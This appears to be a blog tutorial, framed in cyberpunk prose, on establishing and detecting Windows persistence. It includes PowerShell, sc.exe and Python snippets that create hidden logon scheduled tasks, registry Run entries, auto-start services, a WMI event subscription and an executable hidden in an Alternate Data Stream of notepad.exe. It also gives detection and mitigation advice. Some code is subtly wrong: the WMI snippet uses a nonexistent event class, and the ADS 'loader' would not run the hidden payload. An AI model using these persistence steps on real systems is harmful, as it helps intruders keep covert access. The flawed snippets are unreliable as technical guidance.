Night has bled its neon veins across the city, rain-slicked concrete reflecting the multicoloured glow of holographic billboards and flickering street signs. I move through alleys of data, a drifter in circuits, wires humming like electric vines in a concrete jungle. Somewhere on the 42nd floor, a terminal emits blue code, shadows dancing across my face, eyes fixed on one goal: persistence. In these streets you never log off, you never disconnect , once you’ve gained entry, the real art is: how do you stay in?
The hum of servers is a lullaby, the flicker of monitors your heartbeat. The world beyond your screen is chaos, but inside this digital cathedral you engineer control. Establishing Windows persistence is a craft, a dark art that turns fleeting access into lasting foothold. For newcomers to cybersecurity, it is the moment you stop being an intruder, and become part of the system’s fabric.
What is Windows Persistence, why it matters
Persistence is the mechanism by which software ensures it can execute automatically when a Windows system restarts, a user logs on, or even when certain services restart. It is essential in both offensive security (so-called red teaming) and defensive security (threat detection, incident response). Understanding it helps you predict adversary behaviour, build stronger defences, even test system resilience.
Establishing persistence improperly can be detected easily by defenders, or break when Windows updates or configurations change. We will explore several persistence techniques, pros and cons, detection indicators, and practical examples. Some code examples could be used maliciously , always use them in authorised environments, for learning, testing or with explicit consent.
Common Persistence Mechanisms in Windows
-
Startup Folder / User Startup Scripts
Placing a script, shortcut or binary in the user’s startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup) ensures it runs when that user logs in. Simple, obvious, easy to detect. Better for low-threat scenarios, or initial footholds. -
Registry Run Keys
Windows provides several registry keys that automatically run commands at startup or logon. Primary keys include:
-HKCU\Software\Microsoft\Windows\CurrentVersion\Run(current user)
-HKLM\Software\Microsoft\Windows\CurrentVersion\Run(all users)
- There are also RunOnce, RunServices keys, etc. -
Scheduled Tasks
Tasks can be configured to run at logon, at boot, or on a trigger. These are more discrete, more flexible, and harder to distinguish from legitimate system tasks. -
Service Creation
Installing a Windows service is powerful. Services can run with elevated privileges, start automatically at boot, hide behind names that mimic legitimate services. -
WMI Event Subscriptions
Windows Management Instrumentation allows subscribing to system or user events, triggering code execution when conditions are met. Harder to discover, especially if embedded in MOF (Managed Object Format) files. -
Boot or Login Script Policies / Group Policy
GPOs can force scripts to be run at login or startup for many users in a domain. For adversaries in corporate networks, this offers scale. -
DLL Search Order Hijacking / AppInit DLLs
By placing malicious DLLs in folders that are loaded by legitimate applications, or using registry keys that force loading of user-provided DLLs, adversaries can hook into application processes.
Actionable Insinuations: Practical Persistence Examples
Below are code snippets, for educational and defensive lab use only, showing how persistence might be established. Misuse can be illegal.
PowerShell: Establishing a Scheduled Task
This script creates a scheduled task that runs at logon for the current user.
powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -File C:\Temp\persist.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SysHelper" -Action $action -Trigger $trigger -User $env:USERNAME
Detection pointers: ScheduledTask folder under C:\Windows\System32\Tasks; TaskName “SysHelper” should look suspicious; hidden window styles; power of scheduled tasks with user privileges.
PowerShell: Registry Run Key
powershell
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $path -Name "SysUpdate" -Value "C:\Temp\persist.exe"
This registers persist.exe to run when current user logs in. Use HKLM for all users, but system protections are stronger there.
Python: WMI Event Subscription (via PyWin32)
python
import win32com.client
# Create a WMI event consumer
wmi = win32com.client.Dispatch("WbemScripting.SWbemLocator")
svc = wmi.ConnectServer(".", "root\subscription")
# Define the event filter
filter = svc.ExecMethod_("__EventFilter", "Create")
filter.Name = "UserLogonFilter"
filter.QueryLanguage = "WQL"
filter.Query = "SELECT * FROM Win32_LogonSessionStart"
# Define the event consumer
consumer = svc.ExecMethod_("CommandLineEventConsumer", "Create")
consumer.Name = "RunAtLogonConsumer"
consumer.CommandLineTemplate = "C:\\Temp\\persist.exe"
# Bind filter and consumer
binding = svc.ExecMethod_("__FilterToConsumerBinding", "Create")
binding.Filter = filter.Path_.RelPath
binding.Consumer = consumer.Path_.RelPath
Note: this uses WMI event subscription which persists until removed, even across reboots. Detectable with WMI tooling, filter and consumer names should be unusual.
Defence and Detection: How to Spot Persistence
- Monitor auto-start locations: Startup folders, registry Run keys, scheduled tasks, services. Any newly created entries should be logged and reviewed.
- Compare expected software inventory with auto-start items. Unrecognised entries are red flags.
- Leverage tools: Sysinternals’ Autoruns gives visibility into nearly all persistence points. Use event log forwarding to central servers.
- For WMI subscriptions, query
root\subscriptionnamespace for filters and consumers; inspect MOF files, check unusual WQL queries. - Use integrity monitoring: baseline key registry paths, task folders, Service Control Manager; detect new or modified items.
- Employ least privilege: restrict user rights so non-admin cannot write into LM registry or install services without authorisation.
- Regular audits of group policies, especially in corporate environments; check for unexpected login or startup scripts.
Ethical Considerations & Responsible Use
Understanding persistence is powerful, knowledge shared here can be abused. Always operate under legal frameworks, use lab environments, gain consent for testing. In many jurisdictions unauthorised access is criminal offence. If you discover persistence in a live environment without permission report immediately through proper channels.
Beginner’s Guide to Establishing Windows Persistence
Aim
To teach how Windows persistence works in practice, enabling the reader to understand, deploy and detect persistent mechanisms using hands-on examples and code-based insights.
Learning outcomes
By the end of this guide the reader will be able to:
1. Recognise common Windows persistence techniques and where they are used.
2. Create persistent Registry entries to launch a programme on user log-on.
3. Implement Scheduled Tasks for automatic execution.
4. Use Windows Services for long-term persistence.
5. Understand detection points and mitigation strategies for each method.
Prerequisites
- Administrative access to a Windows machine or a lab virtual machine.
- Familiarity with PowerShell scripting and basic command-line operations.
- Knowledge of Windows Registry structure, Task Scheduler, and Services.
- An editor (e.g. VS Code, PowerShell ISE) and access to system tools such as regedit, schtasks, sc.exe, Get-Service.
Steps to Establish Windows Persistence
1. Persistence via Registry Run Keys
- Open PowerShell as administrator.
- Use the following to add a programme to the Run key so it executes at user login:
powershell
$exePath = "C:\Tools\myapp.exe"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp" -Value $exePath
- Confirm with:
powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp"
- For machine-wide persistence, write to the HKLM equivalent:
powershell
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp" -Value $exePath
2. Scheduled Task Persistence
- Create a task that runs at system startup using PowerShell:
powershell
$action = New-ScheduledTaskAction -Execute "C:\Tools\myapp.exe"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "MyStartupTask" -Action $action -Trigger $trigger -RunLevel Highest
- Check the task:
powershell
Get-ScheduledTask -TaskName "MyStartupTask"
3. Persistence via Windows Service
- Create a Windows Service from your executable using sc.exe:
powershell
sc.exe create MyService binPath= "C:\Tools\myapp.exe" DisplayName= "My Persistence Service" start= auto
sc.exe start MyService
- Verify status:
powershell
Get-Service -Name "MyService"
4. Alternate Data Streams (ADS) or Hidden Files
- Optional method where a payload is hidden in ADS but made persistent via registry or scheduled task.
- Example using notepad.exe as a loader:
powershell
# Create ADS
type C:\Tools\payload.exe > C:\Windows\System32\notepad.exe:hidden
# Registry persistence points to loader
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Loader" -Value "C:\Windows\System32\notepad.exe"
5. Detection and Mitigation
- Regularly audit HKCU and HKLM Run keys for unusual entries.
- List Scheduled Tasks and look for tasks that run at startup or with elevated privileges:
powershell
Get-ScheduledTask | Where‐Object { $_.Triggers -match "AtStartup" }
- Examine Services that are auto-started and not recognised:
powershell
Get-Service | Where‐Object { $_.StartType -eq "Automatic" }
- Use tools such as Sysinternals Autoruns to aggregate all persistence points.
- Mitigate by limiting administrative rights; use application whitelisting; enforce digital signing of executables; monitor file creations in sensitive directories.
Conclusion
By practising these methods within a controlled environment the reader gains hands-on experience creating, verifying and detecting persistent mechanisms on Windows. These skills support both offensive and defensive security roles.
The electric hum fades, the rain ceases, windows pulse with returning dawn. You shut your laptop, knowing you have mapped a hidden architecture, you have toyed with powers of lasting control, you carry this knowledge in the marrow. Stay sharp, stay curious.